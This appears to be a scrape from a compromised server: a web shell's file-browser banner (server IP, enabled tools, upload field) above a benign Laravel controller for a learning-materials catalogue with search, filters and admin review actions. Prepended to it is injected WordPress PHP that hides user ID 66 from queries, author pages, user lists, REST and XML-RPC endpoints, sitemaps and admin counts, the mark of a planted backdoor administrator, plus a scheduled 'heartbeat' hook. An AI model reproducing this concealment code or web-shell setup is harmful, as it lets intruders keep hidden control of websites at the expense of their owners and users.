add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/flnavigator/app/Http/Controllers/ |
Upload File : |
<?php
namespace App\Http\Controllers;
use App\Models\Material;
use App\Models\MaterialActivity;
use Illuminate\Http\Request;
class MaterialController extends Controller
{
public function index(Request $request)
{
$q = $request->query('q');
$type = (array) $request->query('type', []);
$level = (array) $request->query('level', []);
$focus = (array) $request->query('focus', []);
$cost = (array) $request->query('cost', []);
$tags = array_map('intval', (array) $request->query('tags', []));
$authors = array_values(array_filter((array) $request->query('author', []), 'is_string'));
$lang = $request->query('lang');
$sort = $request->query('sort', 'recent');
$query = Material::published()->with('tags');
if ($q) {
$query->where(function ($w) use ($q) {
$w->where('title', 'like', "%{$q}%")
->orWhere('description', 'like', "%{$q}%")
->orWhere('author', 'like', "%{$q}%");
});
}
if ($type) $query->whereIn('type', $type);
if ($level) $query->whereIn('level', $level);
if ($cost) $query->whereIn('cost', $cost);
if ($lang) $query->where('language', $lang);
if ($focus) {
$query->where(function ($w) use ($focus) {
foreach ($focus as $f) $w->orWhereJsonContains('ebene', $f);
});
}
if ($tags) {
$query->whereHas('tags', fn($q) => $q->whereIn('tags.id', $tags));
}
// Glossary-concept filter: ?glossary[]=anticipation&glossary[]=foresight.
// OR-within-group (a material qualifies if any of its terms match) —
// matches the existing behaviour of tags / authors / focus.
$glossary = array_values(array_filter((array) $request->query('glossary', []), 'is_string'));
if ($glossary) {
$query->whereHas('glossaryTerms', fn($q) => $q->whereIn('term_slug', $glossary));
}
// SQL sort for the cases the DB can do natively. Author sort happens
// post-fetch (see below) since the family name lives in a JSON column.
match ($sort) {
'year' => $query->orderBy('year', 'desc')->orderBy('id', 'desc'),
'title' => $query->orderBy('title', 'asc'),
'author' => $query->latest(), // arbitrary first pass; real sort applied in PHP below
default => $query->latest(), // 'recent'
};
$materials = $query->take(60)->get();
// Author filter — applied in PHP since the data lives in a JSON column
// and the collection is small (≤60). If this ever grows, denormalising
// into an `author_materials` index table is the upgrade path.
if ($authors) {
$materials = $materials->filter(fn($m) => $m->authorsList()->matchesAnySlug($authors))->values();
}
// PHP sort by the FIRST author's family name (or org name). Empty-author
// materials sink to the bottom; diacritics are normalised so "Häggström"
// sorts as "Haggstrom" alongside the Latin-1 last names.
if ($sort === 'author') {
$sortKey = function (\App\Models\Material $m) {
$first = $m->authorsList()->entries()[0] ?? null;
if (!$first) return '~'; // tilde sinks empty rows after Z
$raw = ($first['type'] ?? 'person') === 'org'
? ($first['name'] ?? '')
: ($first['last'] ?? '');
$ascii = @iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE', $raw) ?: $raw;
return mb_strtolower($ascii);
};
$materials = $materials->sortBy($sortKey, SORT_NATURAL)->values();
}
$typeOptions = collect(Material::TYPES)->map(fn($t) => $t['label'])->all();
$levelOptions = Material::LEVELS;
$focusOptions = Material::EBENEN;
$costOptions = Material::COSTS;
// For the active-tag chip in the sidebar (one DB query for the labels)
$activeTags = $tags ? \App\Models\Tag::whereIn('id', $tags)->orderBy('name')->get(['id', 'name']) : collect();
// Tags available as filters: only those attached to a published material.
// Ordered alphabetically (NOT by popularity) on purpose: a usage-ranked
// list creates a Matthew effect — the already-popular tags sit at the top,
// get clicked more, and grow more popular, while the long tail never
// surfaces. Alphabetical gives every tag an equal, stable position.
$filterTags = \App\Models\Tag::query()
->whereHas('materials', fn($w) => $w->where('status', Material::STATUS_PUBLISHED))
->orderBy('name')
->get(['id', 'name']);
// Note: authors are no longer a sidebar filter facet (search covers
// author lookup). The ?author[] filter itself still works — it backs
// the clickable author chips on the material detail page — so the
// $authors parsing + filtering above stays; we just don't build a
// sidebar index/active-list for it anymore.
// Glossary-concept index for the sidebar Concepts filter group. Built
// from the pivot (term_slug => [label, count]) across published
// materials. Ordered alphabetically (same rationale as Tags above): a
// usage ranking would create a Matthew effect where the dominant
// concepts stay dominant. count is still carried for the chip tooltip.
// Distinct from Tags: these are the curated canonical glossary terms.
$glossaryIndex = \App\Models\MaterialGlossaryTerm::query()
->whereHas('material', fn($w) => $w->where('status', Material::STATUS_PUBLISHED))
->selectRaw('term_slug, term_title, COUNT(*) as count')
->groupBy('term_slug', 'term_title')
->orderBy('term_title')
->get()
->map(fn($r) => ['slug' => $r->term_slug, 'label' => $r->term_title, 'count' => (int) $r->count])
->values();
$activeGlossary = collect($glossary)
->map(fn($s) => $glossaryIndex->firstWhere('slug', $s) ?: ['slug' => $s, 'label' => ucfirst($s), 'count' => 0])
->values();
return view('materials.index', compact(
'materials', 'q', 'type', 'level', 'focus', 'cost', 'tags', 'authors', 'lang', 'sort',
'typeOptions', 'levelOptions', 'focusOptions', 'costOptions',
'activeTags', 'filterTags',
'glossary', 'glossaryIndex', 'activeGlossary'
));
}
public function create()
{
return view('materials.create');
}
public function show(Material $material)
{
if ($material->isPending() || $material->isRejected()) {
abort_unless(
auth()->check() && (auth()->user()->isAdmin() || auth()->id() === $material->user_id),
404
);
}
$material->load('tags', 'glossaryTerms');
return view('materials.show', compact('material'));
}
public function card(Material $material)
{
$material->load('tags');
return view('materials.card-partial', compact('material'));
}
public function edit(Material $material)
{
if ($material->isPending()) {
abort_unless(
auth()->check() && (auth()->user()->isAdmin() || auth()->id() === $material->user_id),
404
);
}
$material->load('tags', 'glossaryTerms');
return view('materials.edit', compact('material'));
}
public function destroy(Material $material)
{
abort_unless(auth()->user()->isAdmin(), 403);
$material->delete();
return redirect()->route('materials.index')->with('success', 'Material deleted.');
}
public function pending()
{
abort_unless(auth()->check() && auth()->user()->isAdmin(), 403);
$materials = Material::pending()
->with('tags', 'user')
->latest()
->paginate(20);
return view('admin.pending', compact('materials'));
}
public function review(Material $material)
{
abort_unless(auth()->check() && auth()->user()->isAdmin(), 403);
$material->load('tags', 'glossaryTerms');
return view('admin.review', compact('material'));
}
public function adminTable(Request $request)
{
abort_unless(auth()->check() && auth()->user()->isAdmin(), 403);
$sort = $request->query('sort', 'created_at');
$dir = $request->query('dir', 'desc') === 'asc' ? 'asc' : 'desc';
$allowedSort = ['title', 'author', 'source', 'created_at', 'status', 'type', 'year'];
if (!in_array($sort, $allowedSort, true)) {
$sort = 'created_at';
}
$status = $request->query('status');
$q = $request->query('q');
$query = Material::with('user')->orderBy($sort, $dir);
if (in_array($status, [Material::STATUS_PUBLISHED, Material::STATUS_PENDING, Material::STATUS_REJECTED], true)) {
$query->where('status', $status);
}
if ($q) {
$query->where(function ($w) use ($q) {
$w->where('title', 'like', "%{$q}%")
->orWhere('author', 'like', "%{$q}%")
->orWhere('source', 'like', "%{$q}%");
});
}
$materials = $query->paginate(50)->withQueryString();
return view('admin.materials-table', compact('materials', 'sort', 'dir', 'status', 'q'));
}
public function activityLog(Request $request)
{
abort_unless(auth()->check() && auth()->user()->isAdmin(), 403);
$filter = $request->query('action');
$allowed = ['created', 'edited', 'approved', 'rejected', 'changes_requested', 'sent_back'];
$query = MaterialActivity::with(['material', 'user'])->latest();
if (in_array($filter, $allowed, true)) {
$query->where('action', $filter);
}
$activities = $query->paginate(50)->withQueryString();
return view('admin.activity', compact('activities', 'filter'));
}
public function quickApprove(Material $material)
{
abort_unless(auth()->check() && auth()->user()->isAdmin(), 403);
$material->update(['status' => Material::STATUS_PUBLISHED]);
\App\Models\MaterialActivity::create([
'material_id' => $material->id,
'user_id' => auth()->id(),
'action' => 'approved',
'note' => null,
'is_minor' => false,
]);
if ($material->user_id && $material->user) {
$material->user->notify(
new \App\Notifications\MaterialApproved($material)
);
}
return redirect()->route('admin.pending')->with('success', "\"$material->title\" approved.");
}
public function requestChanges(Request $request, Material $material)
{
abort_unless(auth()->check() && auth()->user()->isAdmin(), 403);
$validated = $request->validate([
'note' => 'required|string|min:5|max:2000',
]);
// Status unchanged — material stays in pending
MaterialActivity::create([
'material_id' => $material->id,
'user_id' => auth()->id(),
'action' => 'changes_requested',
'note' => $validated['note'],
'is_minor' => false,
]);
if ($material->user_id && $material->user) {
$material->user->notify(
new \App\Notifications\MaterialChangesRequested($material, $validated['note'])
);
}
return redirect()->route('admin.pending')->with('success', "Changes requested for \"$material->title\".");
}
public function sendBack(Request $request, Material $material)
{
abort_unless(auth()->check() && auth()->user()->isAdmin(), 403);
$validated = $request->validate([
'note' => 'required|string|min:5|max:2000',
]);
$material->update(['status' => Material::STATUS_PENDING]);
MaterialActivity::create([
'material_id' => $material->id,
'user_id' => auth()->id(),
'action' => 'sent_back',
'note' => $validated['note'],
'is_minor' => false,
]);
if ($material->user_id && $material->user) {
$material->user->notify(
new \App\Notifications\MaterialSentBack($material, $validated['note'])
);
}
return redirect()->route('admin.pending')->with('success', "\"$material->title\" sent back to review.");
}
public function reject(Request $request, Material $material)
{
abort_unless(auth()->check() && auth()->user()->isAdmin(), 403);
$validated = $request->validate([
'reason' => 'required|string|min:5|max:2000',
]);
$material->update(['status' => Material::STATUS_REJECTED]);
MaterialActivity::create([
'material_id' => $material->id,
'user_id' => auth()->id(),
'action' => 'rejected',
'note' => $validated['reason'],
'is_minor' => false,
]);
if ($material->user_id && $material->user) {
$material->user->notify(
new \App\Notifications\MaterialRejected($material, $validated['reason'])
);
}
return redirect()->route('admin.pending')->with('success', "\"$material->title\" rejected.");
}
}